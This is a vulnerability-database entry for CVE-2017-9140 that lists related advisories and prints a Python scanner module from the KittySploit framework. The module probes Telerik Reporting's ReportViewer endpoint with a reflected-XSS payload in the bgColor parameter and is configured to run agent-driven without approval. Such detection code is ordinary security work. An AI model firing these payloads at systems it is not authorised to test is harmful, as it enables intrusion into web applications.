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Reflected XSS - Telerik Reporting Module Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Remote reflected XSS in Telerik Reporting for ASP.NET WebForms via bgColor parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
Telerik Reporting for ASP.NET WebForms Report Viewer Control Cross-Site Scripting Vulnerability
24 May 201700:00
–cnvd
cve
CVE
CVE-2017-9140
22 May 201704:54
–cve
cvelist
Cvelist
CVE-2017-9140
22 May 201704:54
–cvelist
euvd
EUVD
EUVD-2017-18078
7 Oct 202500:30
–euvd
nuclei
Nuclei
Reflected XSS - Telerik Reporting Module
17 Oct 202602:05
–nuclei
nvd
NVD
CVE-2017-9140
22 May 201705:29
–nvd
osv_cve
osv_cve
CVE-2017-9140
22 May 201705:29
–osv_cve
prion
Prion
Cross site scripting
22 May 201705:29
–prion
ptsecurity
Positive Technologies
PT-2017-18722
22 May 201700:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2017-9140: Improper Neutralization of Input During Web Page Generation
22 May 201700:00
–rapid7
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cross-site scripting vulnerability in Telerik."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Reflected XSS - Telerik Reporting Module Detection',
        'description': 'Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'xss', 'telerik', 'progress', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-9140',
            'https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module',
            'http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)',
            'https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018',
        ],
        'cve': 'CVE-2017-9140',
    }

    def run(self):
        r = self.http_request(method="GET", path='/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('#000000"onload="prompt(1)', 'Telerik.ReportViewer.axd?name=Resources',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='medium',
                reason="Reflected XSS - Telerik Reporting Module detected",
                path='/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.9Medium risk
Vulners AI Score6.9
CVSS 24.3
CVSS 36.1
EPSS0.09724
3